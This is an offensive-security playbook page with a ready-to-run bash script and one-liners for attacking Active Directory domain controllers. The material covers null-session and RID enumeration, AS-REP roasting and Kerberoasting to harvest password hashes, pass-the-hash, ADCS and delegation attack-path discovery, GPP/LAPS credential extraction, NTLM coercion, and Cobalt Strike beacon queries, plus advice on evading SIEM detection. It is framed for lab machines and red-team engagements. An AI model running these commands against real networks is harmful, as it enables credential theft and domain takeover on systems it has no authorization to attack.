Back to All Modules

Automated Active Directory Enumeration Playbook

#Overview

Running AD enumeration tool-by-tool is slow and easy to do incompletely. This page does the opposite: a fast nmap fingerprint to confirm you are facing a Domain Controller, then one self-contained script that runs the entire enumeration sweep and writes every result into an organized folder tree so nothing is lost and you immediately know what to review next. It covers both an unauthenticated/null pass (always runs) and a full authenticated sweep (BloodHound, Kerberoasting, delegations, ADCS/ESC, honeypot heuristics, domain trusts and cross-forest vectors, ACL attack paths, GPP/LAPS/gMSA) when you supply credentials or an NT hash.

The goal is time saved: go from a fresh IP to a complete attack-surface map in one paste, then spend your time on analysis and exploitation instead of typing the same fifteen commands every engagement.

Two execution models are covered. Sections 1-3 are the remote approach (run from your Linux box with impacket/netexec, pre- or post-credential). Section 4 is the on-host / C2 beacon approach used in CRTO-style engagements -- querying AD from inside a compromised domain-joined host with ADSearch, the ldapsearch BOF, and PowerSploit/PowerView, plus the BOFHound -> BloodHound offline pipeline. Pick whichever matches your position.

#Prerequisites

  • Tools (remote, Sections 1-3): nmap, impacket (GetNPUsers, GetUserSPNs, lookupsid, findDelegation), netexec (nxc), bloodhound-python, certipy, bloodyAD, enum4linux-ng, ldap-utils (ldapsearch). The script checks for each and skips (with a warning) anything missing, so a partial toolset still produces useful output.
  • Tools (on-host / beacon, Section 4): ADSearch, the ldapsearch BOF, PowerSploit/PowerView, BOFHound (offline log parser), and your C2 (examples shown for Cobalt Strike).
  • Access Level: Network access to the DC. Phase A needs nothing; Phase B needs a valid domain user (password or NT hash). Section 4 assumes an existing beacon on a domain-joined host (uses the host's Kerberos context, no creds needed).
  • Network position: Internal/assumed-breach, or any host that can reach the DC's AD ports.

#Section 1 -- Quick Nmap: Detect AD / Domain / DC

A Domain Controller has a recognizable port fingerprint. These ports together are a near-certain DC: 53 (DNS), 88 (Kerberos), 135/139 (RPC/NetBIOS), 389/636 (LDAP/LDAPS), 445 (SMB), 3268/3269 (Global Catalog), 5985 (WinRM).

# Fast sweep of a subnet for the DC port fingerprint (Kerberos + LDAP + GC are the tell)
nmap -p 88,389,445,636,3268,5985 --open -T4 --min-rate 1000 10.10.10.0/24

# Kerberos (88) + Global Catalog (3268) open on the same host = Domain Controller
# Flag Explanations:
# -p        : only probe the AD-relevant ports (fast)
# --open    : only show hosts with at least one of these open
# --min-rate: send at least N packets/sec (speeds up large ranges)
BASH

Once you have a DC IP, pull the domain identity out of it -- nmap's NSE scripts read the Root DSE and SMB session info, which leak the domain name, FQDN, DC hostname, and naming contexts without credentials:

# Full service + script scan against the DC to extract domain identity
nmap -p- -sC -sV -T4 10.10.10.161

# Targeted AD identity scripts (domain DN, DC DNS name, OS/NetBIOS, forest info)
nmap -p 389 --script ldap-rootdse 10.10.10.161        # naming contexts -> domain DN + DC FQDN
nmap -p 445 --script smb-os-discovery 10.10.10.161     # NetBIOS name, domain, OS build
nmap -p 88  --script krb5-enum-users \
  --script-args krb5-enum-users.realm='HTB.LOCAL' 10.10.10.161   # valid usernames via Kerberos
BASH

ldap-rootdse returns defaultNamingContext (e.g. DC=htb,DC=local) and dnsHostName (e.g. FOREST.htb.local) -- that is your domain and DC FQDN. Capture them as shell variables for everything below:

# Extract the domain DN and DC FQDN straight from the Root DSE, no creds needed
DC_IP=10.10.10.161
DC_HOST=$(nmap -p389 --script ldap-rootdse "$DC_IP" -oG - 2>/dev/null | grep -oiP 'dnsHostName: \K\S+' | head -1)
DOMAIN=$(echo "$DC_HOST" | cut -d. -f2-)   # FOREST.htb.local -> htb.local

echo "DC_IP=$DC_IP  DC_HOST=$DC_HOST  DOMAIN=$DOMAIN"
# If the grep comes back empty, read the plain nmap output and set DOMAIN/DC_HOST by hand.
BASH

#Section 2 -- Comprehensive One-Shot Enumeration Script

Paste this whole block into a file (e.g. ad-enum.sh), edit the variables at the top, then bash ad-enum.sh. It creates ad-enum/<domain>/{nmap,smb,ldap,kerberos,bloodhound,adcs,delegation,trusts,acl,honeypot,creds} and tees each tool's output into the matching folder. Phase A runs with no credentials; Phase B runs only if you set USER and either PASS or HASH.

#!/usr/bin/env bash
# Comprehensive AD enumeration sweep. Saves everything under ad-enum/<domain>/.
# Phase A = unauthenticated/null. Phase B = authenticated (password OR NT hash).

# ---------------------------------------------------------------------------
# CONFIG -- edit these
# ---------------------------------------------------------------------------
DC_IP="10.10.10.161"          # Domain Controller IP (required)
DOMAIN="htb.local"            # FQDN domain, e.g. htb.local (required)
DC_HOST="forest.htb.local"    # DC FQDN (recommended; needed for Kerberos)
USER=""                       # domain user for Phase B (leave empty for null-only)
PASS=""                       # password  -- OR set HASH below
HASH=""                       # NT hash (LM:NT or :NT) for pass-the-hash
# ---------------------------------------------------------------------------

BASE="ad-enum/${DOMAIN}"
mkdir -p "$BASE"/{nmap,smb,ldap,kerberos,bloodhound,adcs,delegation,trusts,acl,honeypot,creds}
BASE_DN="dc=$(echo "$DOMAIN" | sed 's/\./,dc=/g')"   # htb.local -> dc=htb,dc=local
USERS_FILE="$BASE/ldap/users.txt"

have() { command -v "$1" >/dev/null 2>&1; }
warn() { echo "[!] skip: $1 not installed"; }
log()  { echo; echo "===== $* ====="; }

# Build the auth argument set once for impacket/nxc (password or hash)
if [ -n "$HASH" ]; then
  NXC_AUTH=(-u "$USER" -H "$HASH"); IMPACKET_AUTH="${DOMAIN}/${USER}"; IMPACKET_HASH=(-hashes "$HASH")
elif [ -n "$PASS" ]; then
  NXC_AUTH=(-u "$USER" -p "$PASS"); IMPACKET_AUTH="${DOMAIN}/${USER}:${PASS}"; IMPACKET_HASH=()
fi

# ===========================================================================
# PHASE A -- UNAUTHENTICATED / NULL SESSION (always runs)
# ===========================================================================
log "Phase A: nmap DC fingerprint"
have nmap && nmap -p 53,88,135,139,389,445,636,3268,5985 -sV --open "$DC_IP" \
  -oN "$BASE/nmap/dc-fingerprint.txt" || warn nmap

log "Phase A: enum4linux-ng (broad null enumeration)"
have enum4linux-ng && enum4linux-ng -A "$DC_IP" | tee "$BASE/smb/enum4linux-ng.txt" || warn enum4linux-ng

log "Phase A: SMB null session (shares, users, policy, RID brute)"
if have nxc; then
  nxc smb "$DC_IP" -u '' -p '' --shares    | tee "$BASE/smb/null-shares.txt"
  nxc smb "$DC_IP" -u '' -p '' --pass-pol  | tee "$BASE/smb/password-policy.txt"
  nxc smb "$DC_IP" -u '' -p '' --users     | tee "$BASE/smb/null-users.txt"
  nxc smb "$DC_IP" -u '' -p '' --rid-brute 10000 | tee "$BASE/smb/rid-brute.txt"
else warn nxc; fi

log "Phase A: RID cycling via impacket-lookupsid"
have impacket-lookupsid && impacket-lookupsid "${DOMAIN}/guest@${DC_IP}" -no-pass 10000 \
  2>/dev/null | tee "$BASE/smb/lookupsid.txt" | grep 'SidTypeUser' \
  | sed -E 's/.*\\(.*) \(SidTypeUser\)/\1/' | tee "$USERS_FILE" || warn impacket-lookupsid

log "Phase A: anonymous LDAP (RootDSE + dump)"
if have ldapsearch; then
  ldapsearch -x -H "ldap://$DC_IP" -s base namingcontexts | tee "$BASE/ldap/rootdse.txt"
  ldapsearch -x -H "ldap://$DC_IP" -b "$BASE_DN" | tee "$BASE/ldap/anon-dump.txt"
  # Harvest usernames from the anon dump if RID cycling produced nothing
  [ -s "$USERS_FILE" ] || grep -oiP 'sAMAccountName: \K\S+' "$BASE/ldap/anon-dump.txt" \
    | sort -u | tee "$USERS_FILE"
else warn ldapsearch; fi

log "Phase A: AS-REP roasting over harvested users (no creds needed)"
if have impacket-GetNPUsers && [ -s "$USERS_FILE" ]; then
  impacket-GetNPUsers "${DOMAIN}/" -no-pass -usersfile "$USERS_FILE" -dc-ip "$DC_IP" \
    -format hashcat -outputfile "$BASE/kerberos/asrep-hashes.txt" | tee "$BASE/kerberos/asrep.txt"
else warn "impacket-GetNPUsers (or no users harvested)"; fi

# ===========================================================================
# PHASE B -- AUTHENTICATED SWEEP (runs only if USER + PASS/HASH are set)
# ===========================================================================
if [ -z "$USER" ] || { [ -z "$PASS" ] && [ -z "$HASH" ]; }; then
  echo; echo "[*] No credentials set -- skipping Phase B. Set USER and PASS or HASH to enable."
else
log "Phase B: BloodHound full collection (CE collectors)"
if have bloodhound-python; then
  ( cd "$BASE/bloodhound" && \
    if [ -n "$HASH" ]; then
      bloodhound-python -d "$DOMAIN" -u "$USER" --hashes "$HASH" -ns "$DC_IP" -c All,Cert,Container --zip
    else
      bloodhound-python -d "$DOMAIN" -u "$USER" -p "$PASS" -ns "$DC_IP" -c All,Cert,Container --zip
    fi ) | tee "$BASE/bloodhound/collection.txt"
else warn bloodhound-python; fi

log "Phase B: Kerberoasting (request all SPN tickets)"
have impacket-GetUserSPNs && impacket-GetUserSPNs "$IMPACKET_AUTH" "${IMPACKET_HASH[@]}" \
  -dc-ip "$DC_IP" -request -outputfile "$BASE/kerberos/kerberoast-hashes.txt" \
  | tee "$BASE/kerberos/spns.txt" || warn impacket-GetUserSPNs

log "Phase B: AS-REP roast (authenticated, full list)"
have impacket-GetNPUsers && impacket-GetNPUsers "$IMPACKET_AUTH" "${IMPACKET_HASH[@]}" \
  -dc-ip "$DC_IP" -request -format hashcat -outputfile "$BASE/kerberos/asrep-auth-hashes.txt" \
  | tee "$BASE/kerberos/asrep-auth.txt"

log "Phase B: Delegations (unconstrained / constrained / RBCD)"
have impacket-findDelegation && impacket-findDelegation "$IMPACKET_AUTH" "${IMPACKET_HASH[@]}" \
  -dc-ip "$DC_IP" | tee "$BASE/delegation/findDelegation.txt"
if have ldapsearch && [ -n "$PASS" ]; then
  # Unconstrained: TRUSTED_FOR_DELEGATION (UAC bit 0x80000)
  ldapsearch -x -H "ldap://$DC_IP" -D "${USER}@${DOMAIN}" -w "$PASS" -b "$BASE_DN" \
    '(userAccountControl:1.2.840.113556.1.4.803:=524288)' sAMAccountName \
    | tee "$BASE/delegation/unconstrained.txt"
  # Constrained: msDS-AllowedToDelegateTo present
  ldapsearch -x -H "ldap://$DC_IP" -D "${USER}@${DOMAIN}" -w "$PASS" -b "$BASE_DN" \
    '(msDS-AllowedToDelegateTo=*)' sAMAccountName msDS-AllowedToDelegateTo \
    | tee "$BASE/delegation/constrained.txt"
  # RBCD: msDS-AllowedToActOnBehalfOfOtherIdentity present
  ldapsearch -x -H "ldap://$DC_IP" -D "${USER}@${DOMAIN}" -w "$PASS" -b "$BASE_DN" \
    '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' sAMAccountName \
    | tee "$BASE/delegation/rbcd.txt"
fi

log "Phase B: ADCS / ESC enumeration (certipy)"
if have certipy; then
  if [ -n "$HASH" ]; then
    certipy find -u "${USER}@${DOMAIN}" -hashes "$HASH" -dc-ip "$DC_IP" -vulnerable -stdout \
      | tee "$BASE/adcs/certipy-vulnerable.txt"
    certipy find -u "${USER}@${DOMAIN}" -hashes "$HASH" -dc-ip "$DC_IP" -text -json -output "$BASE/adcs/certipy"
  else
    certipy find -u "${USER}@${DOMAIN}" -p "$PASS" -dc-ip "$DC_IP" -vulnerable -stdout \
      | tee "$BASE/adcs/certipy-vulnerable.txt"
    certipy find -u "${USER}@${DOMAIN}" -p "$PASS" -dc-ip "$DC_IP" -text -json -output "$BASE/adcs/certipy"
  fi
else warn certipy; fi

log "Phase B: Honeypot heuristics (NEEDS HUMAN REVIEW -- not proof)"
# Decoy accounts are often privileged-looking but never logged on. Treat as leads, not facts.
if have ldapsearch && [ -n "$PASS" ]; then
  # Enabled accounts that have NEVER logged on (logonCount=0) -- classic honeypot tell
  ldapsearch -x -H "ldap://$DC_IP" -D "${USER}@${DOMAIN}" -w "$PASS" -b "$BASE_DN" \
    '(&(objectClass=user)(logonCount=0)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
    sAMAccountName whenCreated lastLogon description servicePrincipalName memberOf \
    | tee "$BASE/honeypot/never-logged-on.txt"
fi
have nxc && nxc ldap "$DC_IP" "${NXC_AUTH[@]}" -M group-mem -o GROUP="Domain Admins" \
  | tee "$BASE/honeypot/da-members.txt"

log "Phase B: Domain trusts + cross-forest vectors"
have nxc && nxc ldap "$DC_IP" "${NXC_AUTH[@]}" -M enum_trusts | tee "$BASE/trusts/nxc-trusts.txt"
if have ldapsearch && [ -n "$PASS" ]; then
  ldapsearch -x -H "ldap://$DC_IP" -D "${USER}@${DOMAIN}" -w "$PASS" -b "$BASE_DN" \
    '(objectClass=trustedDomain)' trustPartner trustDirection trustType trustAttributes \
    | tee "$BASE/trusts/trusted-domains.txt"
  # Accounts carrying SID history (cross-domain escalation candidate)
  ldapsearch -x -H "ldap://$DC_IP" -D "${USER}@${DOMAIN}" -w "$PASS" -b "$BASE_DN" \
    '(sIDHistory=*)' sAMAccountName sIDHistory | tee "$BASE/trusts/sid-history.txt"
fi

log "Phase B: ACL attack paths (writable objects)"
if have bloodyAD; then
  if [ -n "$HASH" ]; then
    bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p ":$HASH" get writable \
      | tee "$BASE/acl/writable.txt"
  else
    bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get writable \
      | tee "$BASE/acl/writable.txt"
  fi
else warn bloodyAD; fi

log "Phase B: Bonus quick wins (GPP, LAPS/gMSA, MachineAccountQuota)"
if have nxc; then
  nxc smb  "$DC_IP" "${NXC_AUTH[@]}" -M gpp_password | tee "$BASE/creds/gpp.txt"
  nxc ldap "$DC_IP" "${NXC_AUTH[@]}" -M laps          | tee "$BASE/creds/laps.txt"
  nxc ldap "$DC_IP" "${NXC_AUTH[@]}" -M maq           | tee "$BASE/creds/machineaccountquota.txt"
fi
fi   # end Phase B

# ===========================================================================
# SUMMARY
# ===========================================================================
log "DONE -- review artifacts under $BASE/"
echo "  nmap/        DC fingerprint + service scan"
echo "  smb/         shares, users, password policy, RID brute, lookupsid"
echo "  ldap/        RootDSE, anonymous dump, harvested users.txt"
echo "  kerberos/    AS-REP + Kerberoast hashes -> crack offline (hashcat)"
echo "  bloodhound/  *.zip -> import into BloodHound for attack paths"
echo "  adcs/        certipy ESC findings -> adcs-exploitation"
echo "  delegation/  unconstrained / constrained / RBCD candidates"
echo "  trusts/      trusted domains, SID history -> cross-forest"
echo "  acl/         writable objects -> ACL abuse chains"
echo "  honeypot/    never-logged-on privileged accounts (HUMAN REVIEW)"
echo "  creds/       GPP / LAPS / MachineAccountQuota"
BASH

#What the script produces

Each output folder maps directly to a follow-up technique page:

Output folderWhat's in itGo next to
kerberos/AS-REP and Kerberoast hashes (hashcat format)Kerberoasting, AS-REP Roasting
bloodhound/Collection .zip for the BloodHound GUIACL Abuse, Group Membership Abuse
adcs/certipy ESC1-ESC16 findingsADCS Exploitation
delegation/Unconstrained / constrained / RBCD candidatesKerberos Delegation Attacks
trusts/Trusted domains, SID history, foreign membershipTrusts and Cross-Forest
acl/Writable objects (GenericAll/WriteDACL/WriteOwner/GenericWrite)ACL Abuse
creds/GPP cpassword, LAPS/gMSA, MachineAccountQuotaGPP Password Extraction, LAPS and gMSA
honeypot/Never-logged-on privileged accounts (heuristic)Manual review before touching
smb/ ldap/Shares, users, policy, RootDSE, harvested users.txtLDAP Enumeration, SMB Enumeration

#Section 3 -- Other Quick AD Commands Worth Running

High-value one-liners that fall outside the main loop:

# --- Kerberos time sync (do this FIRST or every ticket request fails) ---
sudo ntpdate -u "$DC_IP"                      # match the DC clock (skew < 5 min)
# or, without changing system time, wrap a command:
faketime "$(ntpdate -q "$DC_IP" | awk '{print $1, $2}')" impacket-GetUserSPNs ...

# --- Full authenticated user dump (emails, last logon, etc.) ---
impacket-GetADUsers "$DOMAIN/$USER:$PASS" -all -dc-ip "$DC_IP"

# --- Password policy review ---
nxc smb "$DC_IP" -u "$USER" -p "$PASS" --pass-pol

# --- One-shot BloodHound straight from netexec (no separate collector) ---
nxc ldap "$DC_IP" -u "$USER" -p "$PASS" --bloodhound -c All --dns-server "$DC_IP"

# --- MachineAccountQuota (>0 means you can add a computer -> RBCD) ---
nxc ldap "$DC_IP" -u "$USER" -p "$PASS" -M maq

# --- Mine SYSVOL for scripts/passwords (logon scripts, GPP, custom secrets) ---
nxc smb "$DC_IP" -u "$USER" -p "$PASS" -M spider_plus --share SYSVOL

# --- Certipy: authenticate with a cert to get a TGT / NT hash (after ESC) ---
certipy auth -pfx administrator.pfx -dc-ip "$DC_IP"

# --- Coercion probes (LISTED, run manually -- these touch other hosts) ---
coercer coerce -u "$USER" -p "$PASS" -d "$DOMAIN" -t "$DC_IP" -l <YOUR_IP>
# PetitPotam / PrinterBug -> relay to ADCS or LDAP; see NTLM theft + relay page.
BASH

#Tool install reminder

ToolInstall
Impacketpipx install impacket
netexec (nxc)pipx install git+https://github.com/Pennyw0rth/NetExec
bloodhound-pythonpipx install bloodhound
certipypipx install certipy-ad
bloodyADpipx install bloodyAD
enum4linux-ngpipx install enum4linux-ng
ldapsearchapt install ldap-utils

#Section 4 -- On-Host / C2 Beacon Enumeration (ADSearch, ldapsearch BOF, PowerSploit)

Everything above runs remotely from your Linux box with impacket/netexec. On a real red-team engagement you are usually working through a C2 beacon on an already-compromised domain-joined host, where the cleaner approach is to query the directory from inside using the host's own Kerberos context -- no credentials to type, far quieter than RID-bruting the DC from outside. This section mirrors the CRTO-style workflow using ADSearch, the ldapsearch BOF, and PowerSploit/PowerView, plus the BOFHound -> BloodHound offline pipeline.

#4a. ADSearch (.NET LDAP enumeration via execute-assembly)

ADSearch is a compiled assembly you run in-beacon. It uses the current token's Kerberos context, so no creds are needed once you have a foothold.

# Core object enumeration (run each via execute-assembly C:\Tools\ADSearch\ADSearch.exe ...)
--search "(objectClass=domain)" --attributes name,objectSid          # domain SID (needed for golden/silver tickets)
--search "(objectClass=trustedDomain)" --attributes trustPartner,trustDirection,trustAttributes,flatName
--search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes samAccountName,servicePrincipalName   # Kerberoastable
--search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes samAccountName  # AS-REP roastable
--search "(&(samAccountType=805306369)(msDS-AllowedToDelegateTo=*))" --attributes samAccountName,msDS-AllowedToDelegateTo  # constrained delegation (computers)
--search "(userAccountControl:1.2.840.113556.1.4.803:=524288)" --attributes samAccountName   # unconstrained delegation
--search "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" --attributes samAccountName           # RBCD

# Built-in shortcut queries + JSON output for offline parsing
--search "(objectClass=group)" --attributes cn,member --json
--users --json            # all users
--computers --json        # all computers
--groups --json           # all groups
TEXT

ADSearch's msDS-AllowedToDelegateTo query is exactly how the CRTO path found DUB-WEB-1$ trusted to delegate to MSSQLSvc/dub-sql-1 -- the seam that enabled the S4U impersonation of nwallace. Always run the three delegation filters together; constrained delegation is the most common privilege-bridge in lab and real environments.

#4b. ldapsearch BOF (in-beacon, lowest footprint)

The ldapsearch Beacon Object File runs inside the beacon process (no new process, no CLR) -- the quietest way to query AD. Same filters as ADSearch. These are the exact CRTO discovery queries:

# BOFHound discovery set -- dump objects + security descriptors for offline BloodHound
ldapsearch (|(objectClass=domain)(objectClass=organizationalUnit)(objectClass=groupPolicyContainer)) --attributes *,ntsecuritydescriptor
ldapsearch (|(samAccountType=805306368)(samAccountType=805306369)(samAccountType=268435456)) --attributes *,ntsecuritydescriptor

# Delegation seam (CRTO: found DUB-WEB-1$ -> MSSQLSvc/dub-sql-1)
ldapsearch (&(samAccountType=805306369)(msDS-AllowedToDelegateTo=*)) --attributes samAccountName,msDS-AllowedToDelegateTo

# Domain / forest SIDs for ticket forging across a trust
ldapsearch (objectClass=domain) --hostname dub-dc-1 --dn DC=dublin,DC=contoso,DC=com --attributes objectSid
ldapsearch "(&(samAccountType=268435456)(samAccountName=Enterprise Admins))" --hostname lon-dc-1 --dn DC=contoso,DC=com --attributes objectSid

# Cross-domain trust mapping (inbound trust + foreign principals)
ldapsearch (objectClass=trustedDomain) --attributes trustDirection,trustPartner,trustAttributes,flatname
ldapsearch (objectClass=foreignSecurityPrincipal) --attributes cn,memberOf --hostname contoso.enclave --dn DC=contoso,DC=enclave
ldapsearch (objectSid=S-1-5-21-...-2601)   # resolve a foreign SID to its object
TEXT

#4c. BOFHound -> BloodHound (offline graph from beacon logs)

You don't need to run SharpHound on-target (loud, well-signatured). Instead, the ldapsearch BOF output sitting in your C2 logs is parsed offline by BOFHound into BloodHound-importable JSON:

# Pull the C2 logs back, then convert with BOFHound (run on your attacker box)
scp -r attacker@10.0.0.5:/opt/cobaltstrike/logs .
bofhound -i logs/                 # -> emits *.json for the BloodHound GUI import

# Import the resulting JSON into BloodHound and run the standard queries:
#   Shortest Path to Domain Admins / Find Principals with DCSync Rights /
#   Computers with Unconstrained Delegation
BASH

This gives you the full BloodHound attack graph built entirely from passive in-beacon LDAP queries -- no SharpHound execution on the host.

#4d. PowerSploit / PowerView (on-host ACL + object hunting)

PowerView (part of PowerSploit) is the workhorse for ACL analysis and object hunting from a beacon. Import once, then drive it with powerpick (unmanaged PowerShell, avoids powershell.exe):

# Import (Cobalt Strike): powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
# Then run queries with powerpick:

# Find computers where YOUR current SID has dangerous rights (the CRTO ENC-JMP-1 step)
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" }

# Same, filtered to a specific principal SID (only ACEs your account holds)
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-<YOUR-DOMAIN>-[\d]{4,10}" }

# Resolve an object's SID (e.g. confirm the machine you can write to)
Get-DomainComputer -Identity enc-jmp-1 -Properties objectSid

# General-purpose recon
Get-DomainUser -SPN -Properties samAccountName,servicePrincipalName        # Kerberoastable
Get-DomainUser -PreauthNotRequired -Properties samAccountName              # AS-REP roastable
Get-DomainTrust                                                            # trust enumeration
Get-DomainComputer -Unconstrained -Properties dnshostname                  # unconstrained delegation
Find-InterestingDomainAcl -ResolveGUIDs                                    # domain-wide dangerous ACEs
TEXT

The Get-DomainObjectAcl ... WriteProperty|GenericWrite|GenericAll|WriteDacl filter is the exact pattern from the CRTO ENC-JMP-1 step that finds a computer object your account can write to -- the precursor to an RBCD or shadow-credential takeover. Feed the SIDs it returns back into the delegation/ACL attack pages below.

#On-host vs remote: which to use

SituationUse
External / pre-foothold, have creds or hashRemote script (Sections 1-3): impacket + netexec
Inside a C2 beacon on a domain-joined hostThis section: ldapsearch BOF (quietest) or ADSearch
Need an ACL/attack graph without SharpHoundldapsearch BOF -> BOFHound -> BloodHound (4b/4c)
Hands-on-keyboard ACL hunting against specific objectsPowerView Get-DomainObjectAcl (4d)

#OPSEC Considerations

  • This playbook is loud by design. RID brute, mass LDAP queries, BloodHound collection, and bulk Kerberos requests light up a SIEM. In a monitored/red-team engagement, do not run it whole -- pick the targeted commands you need.
  • Event IDs: LDAP enumeration generates 4662 (Directory Service Access); AS-REP/Kerberoast requests generate 4768/4769 (Kerberos TGT/TGS) with RC4 (0x17) encryption -- a classic detection signature.
  • BloodHound/SharpHound collection is well-signatured. Use --stealth collection or pace runs if defenders are watching.
  • Prefer LDAPS (636) over LDAP (389) when sending credentials so they are not exposed on the wire (server-side logs are unchanged).
  • Honeytoken accounts exist specifically to catch this behaviour. Authenticating as a decoy account is an instant tripwire -- review honeypot/ before acting.
  • Spread the work over time and source it from an expected host where possible; a dense burst of every enumeration event at once is trivially correlated.

#Cross-References

#Tool References

ToolDescriptionLink
nmapDC discovery and AD identity NSE scriptshttps://nmap.org
ImpacketGetNPUsers, GetUserSPNs, findDelegation, lookupsidhttps://github.com/fortra/impacket
netexec (nxc)SMB/LDAP enumeration and modules (gpp_password, laps, maq, enum_trusts, bloodhound)https://github.com/Pennyw0rth/NetExec
bloodhound-pythonRemote BloodHound collectorhttps://github.com/dirkjanm/BloodHound.py
certipyADCS enumeration and ESC exploitationhttps://github.com/ly4k/Certipy
bloodyADACL enumeration and abusehttps://github.com/CravateRouge/bloodyAD
enum4linux-ngBroad SMB/RPC/LDAP null enumerationhttps://github.com/cddmp/enum4linux-ng
ldapsearchRaw LDAP queries (Linux)apt install ldap-utils
ADSearchIn-beacon .NET LDAP enumeration (execute-assembly)https://github.com/tomcarver16/ADSearch
ldapsearch BOFIn-process LDAP queries from a Cobalt Strike beaconhttps://github.com/trustedsec/CS-Situational-Awareness-BOF
BOFHoundParse C2 ldapsearch logs into BloodHound JSONhttps://github.com/coffeegist/bofhound
PowerSploit / PowerViewOn-host AD object + ACL enumeration (PowerShell)https://github.com/PowerShellMafia/PowerSploit

#Source Machines

  • Forest (Easy, AD) -- null pass alone yields AS-REP roast of svc-alfresco; the playbook's Phase A finds it
  • Sauna (Easy, AD) -- AS-REP via harvested user list; Phase A AS-REP step
  • Cascade (Medium, AD) -- anonymous LDAP dump surfaces cascadeLegacyPwd; Phase A ldap/anon-dump.txt
  • Authority (Medium, AD) -- certipy finds ESC1; Phase B adcs/
  • Timelapse (Easy, AD) -- LAPS readable after foothold; Phase B creds/laps.txt
  • Rebound (Insane, AD) -- delegation + gMSA + RBCD chain; Phase B delegation/ + creds/
  • Blackfield (Hard, AD) -- AS-REP + Backup Operators; Phase A AS-REP then BloodHound paths